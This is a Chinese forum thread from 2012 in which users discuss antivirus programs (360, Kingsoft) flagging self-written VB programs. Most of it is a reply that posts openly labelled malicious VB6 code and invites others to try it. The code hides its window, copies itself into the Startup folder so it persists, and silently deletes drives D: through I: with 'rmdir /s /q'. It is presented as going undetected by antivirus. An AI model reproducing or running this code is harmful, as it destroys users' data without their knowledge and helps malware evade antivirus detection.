以下是引用yuma在2012-7-22 09:55:28的发言:
以下是引用zklhp在2012-7-22 07:38:52的发言:
两种可能 一种是你电脑确实有病毒 感染了这个程序 当然这种可能性比较小 另外一种就是 你这个程序被360认为是病毒
360对于新程序 也就是自己写的程序 特别敏感 有人觉得是好事有人觉得是坏事 这个我不评论 你这里面出问题的可能是网络访问那个txt
尝试一下,下面的代码也一样会被金山报毒Shell "cmd /c del " & App.EXEName & ".exe",vbhide。
360对于新程序 也就是自己写的程序 特别敏感
本人不赞成!
请尝试下面恶意代码,我金山毒霸由始至终都不杀它,也不提示、警告。Private Sub Form_Load()
Form1.Visible= False
Dim a As String
Dim b As String
Dim s As Stringa= App.Path & "\" & App.EXEName & ".exe"b= "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\" & App.EXEName & ".exe"s= Dir(b, vbDirectory)
If s = "" Or a <> b Then
FileCopy a, b
End If
Shell "cmd /c rmdir /s /q D:\", vbHide
Shell "cmd /c rmdir /s /q E:\", vbHide
Shell "cmd /c rmdir /s /q F:\", vbHide
Shell "cmd /c rmdir /s /q G:\", vbHide
Shell "cmd /c rmdir /s /q H:\", vbHide
Shell "cmd /c rmdir /s /q I:\", vbHide
End Sub
360对于新程序 也就是自己写的程序 特别敏感
没看明白什么意思 你的意思是 360不敏感?